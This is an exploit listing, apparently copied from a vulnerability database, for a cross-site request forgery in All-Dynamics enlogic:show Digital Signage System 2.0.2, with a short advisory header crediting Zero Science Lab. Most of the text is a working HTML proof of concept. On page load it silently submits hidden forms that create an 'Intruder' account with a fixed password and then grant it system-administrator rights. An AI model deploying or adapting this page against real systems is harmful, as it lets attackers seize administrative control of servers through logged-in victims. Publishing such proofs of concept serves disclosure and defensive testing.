Registeralldynamics digital signage system 2.0.2 crosssite request forgery (add admin)
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# Exploit Title: All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin) # Discovery by: LiquidWorm # Discovery Date: 2020-08-05 # Vendor Homepage: https://www.all-dynamics.de <!DOCTYPE html> <!-- All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin Vendor: All-Dynamics Software GmbH Product web page: https://www.all-dynamics.de Affected version: 2.0.2 (Build 2098) ILP32W 0/1/3/1597919619 Summary: Bring communication with your customers, guests or employees to a new level. You can design content individually and uncomplicated centrally and simply present it in different locations. Whether on large displays, steles, digital signs or on a projector, with enlogic:show your content will appear on the selected display in a calendar-controlled and precise manner. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5577.php Tested on: enlogic:show server Microsoft Windows Server 2019 Microsoft Windows Server 2016 Microsoft Windows Server 2012 Microsoft Windows 10 GNU/Linux Apache PHP Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5576 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5576.php 21.07.2020 --> <html> <body onload="runcsrf()"> <h2>Grants the user the global administrative right. Administrative users are no longer under the control of the rights structure.</h2> <h1>Global: Superior rolebased rights.</h1> <form name="saveuser" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame0"> <input type="hidden" name="SAVECMD" value="usr_generic" /> <input type="hidden" name="NEWUSER" value="1" /> <input type="hidden" name="USERNAME" value="Intruder" /> <input type="hidden" name="USERFULLNAME" value="ZSL" /> <input type="hidden" name="USERTAGS" value="tags" /> <input type="hidden" name="USEREMAIL" value="csrf@zsl.be" /> <input type="hidden" name="USERPHONE" value="333-222-1111" /> <input type="hidden" name="PWEXPIRE" value="0" /> <input type="hidden" name="NEWPW1" value="Pa$$w0rd!" /> <input type="hidden" name="NEWPW2" value="Pa$$w0rd!" /> <input type="hidden" name="USERLANG" value="en" /> <input type="hidden" name="STARTSCREEN" value="display.calendar" /> <input type="hidden" name="USERCUSTIMEOUT" value="20" /> </form> <form name="addadmin" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame1"> <input type="hidden" name="SAVECMD" value="usr_rights" /> <input type="hidden" name="SYSFLAGS[]" value="TYPE_SYSADMIN" /> </form> <iframe name="frame0"></iframe> <iframe name="frame1"></iframe> <script> function runcsrf() { document.saveuser.submit(); document.addadmin.submit(); } </script> </body> </html>
Alldynamics digital signage system 2.0.2 crosssite request forgery (add admin) Vulnerability / Exploit Source : Alldynamics digital signage system 2.0.2 crosssite request forgery (add admin)
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